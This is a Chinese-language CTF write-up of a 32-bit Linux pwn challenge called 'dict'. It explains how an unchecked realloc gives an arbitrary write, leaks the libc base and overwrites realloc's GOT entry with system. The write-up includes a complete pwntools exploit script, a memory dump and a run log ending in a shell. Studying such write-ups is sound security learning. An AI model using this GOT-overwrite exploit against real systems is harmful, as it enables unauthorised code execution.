本题的利用思路是,因为REALLOC之后没有做检查,可以使ptr的值置为0,因此可以控制ptr之前的值,从而造成内存任意写的漏洞。利用是通过覆写got表,使用/bin/sh字符串作为realloc(system)的参数,从而拿到shell。
- 漏洞位置
- 任意写
- 利用
首先来看漏洞位置
,因为ptr置0之后,可控参数有:
v1 = (int)((char *)*(&ptr + 2 * v4) + 32 * (v5 + v2));
ptr是0,v5是wordcount,v2是从0开始遍历到新加的词数,v4是dict的号。根据前面的分析,我们可以在一个dict0中创建0x8000xxxx个单词,然后wordcount就会变大,之后如果我们使用一个无效值使ptr变为0,然后就可以完成内存任意写的功能。
接下来是任意写的实现
使用addword选择dict0,然后添加0xffffffff个字词,ptr就会变成0,然后再一次addword,选择1个word,然后就可以任意写了。
要怎么利用呢
我这里直接给出利用思路,但是探索这个确实是一个很难的过程,在此感谢pwn神学长的指点Orz
- leak出libc的加载基址
因为自带viewword函数,我们可以把realloc(其他也行)的基址放在某一个字典的ptr上,这样就可以通过printf直接看到。这里是第一个任意内存写。 - 将binsh写入另一个字典
因为realloc的参数就是字符串指针,我们可以通过在某个字典的ptr上放binsh的地址,然后重写realloc的got表而实现。因为realloc后面还要用到,所以要先写另一个字典。获得offset + baseaddr
之后,通过第二个任意内存写写入另一个字典的ptr。 - 覆盖realloc的got表
上面已经提到,这里用第三个任意内存写将got表覆盖为system即可。
内存
gdb-peda$ x /32xw 0x804a0c0
0x804a0c0: 0x00402508 0x00000000 0x00000001 0x09509008
0x804a0d0: 0x00000001 0x09509030 0x00000001 0x09509058
0x804a0e0: 0x00000004 0x0804a018 0x00402509 0x00000000
0x804a0f0: 0x00000001 0xef400468 0x00000001 0xef400490
0x804a100: 0x00000004 0xf7748a24 0x00402502 0x00000000
0x804a110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a130: 0x00000000 0x00000000 0x00000000 0x00000000
这个是全部布置完之后的内存。
脚本
No code no bibi
#Exploit for [email protected]
#@Windcarp 2015.10.18
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local = True
if local:
p = process("./dict")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("202.120.7.146", 9992)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
binary = ELF("dict")
#address
realloc_got = 0x0804A018
five_ptr = 0x0804a0e0
ptr_write_cnt = five_ptr / 32
print_word_cnt = 4
#payload
#pause for gdb to attach
raw_input()
#first dict
p.send(‘1‘ + ‘\n‘)
p.send(str(ptr_write_cnt) + ‘\n‘)
for i in range(256):
p.send("1\n" * (ptr_write_cnt / 256))
p.recvrepeat(0.02)
print ‘.‘,
p.send("1\n" * (ptr_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over."
#second 7 dict
for i in range(4):
p.send(‘1‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil(": ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil("$ ")
#ptr set to 0 &wordcount set to 0xptr
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘0‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x7fff0000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload1 = p32(print_word_cnt) + p32(realloc_got)
p.send(payload1 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")
#view libc
p.send(‘3‘ + ‘\n‘)
p.recvuntil(": ")
p.send(‘4‘ + ‘\n‘)
p.recvuntil(": ")
data = p.recvuntil("$ ")
leak = data[0:4]
print "[*] Leak Data :" + hex(u32(leak))
offset_system = 0x00040190
offset_str_bin_sh = 0x160a24
realloc_libc = libc.symbols["realloc"]
offset_read = 0x000dabd0
stackchk_libc = libc.symbols["__stack_chk_fail"]
printf_libc = libc.symbols["printf"]
base_addr = u32(leak) - realloc_libc
system_addr = base_addr + offset_system
binsh_addr = base_addr + offset_str_bin_sh
read_addr = base_addr + offset_read
printf_addr = base_addr + printf_libc
stackchk_addr = stackchk_libc + base_addr
puts_addr = libc.symbols["puts"] + base_addr
print "[*] System_addr :" + hex(system_addr)
nine_ptr = 0x0804a100
ptr2_write_cnt = nine_ptr / 32
p.send(‘1‘ + ‘\n‘)
p.send(str(ptr2_write_cnt) + ‘\n‘)
for i in range(256):
p.send("1\n" * (ptr2_write_cnt / 256))
p.recvrepeat(0.02)
print ‘.‘,
p.send("1\n" * (ptr2_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over2." #nine wordcount done
for i in range(3):
p.send(‘1‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil(": ")
p.send(‘1‘ + ‘\n‘)
p.recvuntil("$ ")
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘5‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x7fff0000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload2 = p32(print_word_cnt) + p32(binsh_addr)
p.send(payload2 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")#nine ptr done
ten_ptr = realloc_got
ptr3_write_cnt = ten_ptr / 32
pad_cnt = ten_ptr % 32
p.send(‘1‘ + ‘\n‘)
p.send(str(ptr3_write_cnt) + ‘\n‘)
for i in range(256):
p.send("1\n" * (ptr3_write_cnt / 256))
p.recvrepeat(0.02)
print ‘.‘,
p.send("1\n" * (ptr3_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over3." #ten wordcount done
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘9‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x70000000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload3 = ‘a‘ * 12 + p32(read_addr) + p32(printf_addr) + p32(stackchk_addr) + p32(system_addr)
p.send(payload3 + ‘\n‘)
p.recvuntil(": ")
payload4 = p32(puts_addr)
p.send(payload4 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")#nine ptr done
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘8‘ + ‘\n‘)
p.recvuntil("add? ")
print "[*] Press enter:"
raw_input()
p.send(‘1‘ + ‘\n‘)
p.interactive()
脚本水平非常之烂= =写的急不过还是没有赶上最后拿flag,比赛结束一小时才调通。。。%>_<%
$ python testexp.py
[+] Starting program ‘./dict‘: Done
[*] ‘/lib/i386-linux-gnu/libc.so.6‘
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] ‘/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/dict‘
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Over.
[*] Press enter:
[*] Leak Data :0xf7651d10
[*] System_addr :0xf761b190
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Over2.
[*] Press enter:
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Over3.
[*] Press enter:
[*] Press enter:
[*] Switching to interactive mode
$ ls
1-79fb52a85e9475285b89516852a056fa6280672f.pdf
写在最后
先说说这个题目吧,这已经是我现在撑死解答的水平了Orz,Oops的题目良心,确实学到了很多。
从思路上看,一开始以为是堆溢出的漏洞,走了一些弯路。
从漏洞上看,这个pwn题就是围绕REALLOC函数做了很多,而且漏洞的利用有很多限制条件:它的内存任意写是必须32个内存一起写,而且只有到无效内存是才能停;而且需要输入很多字符,这一点在一开始很困扰,因为每调试一次都要10分钟之久,导致整个一天调还是进展缓慢,后来请教别人才提高了效率。
最后,晚上去看校庆演出没认真调代码真是我不对Orz。两天的比赛下来感觉到自己提升还有很多地方。技术水平还是太烂。Bless。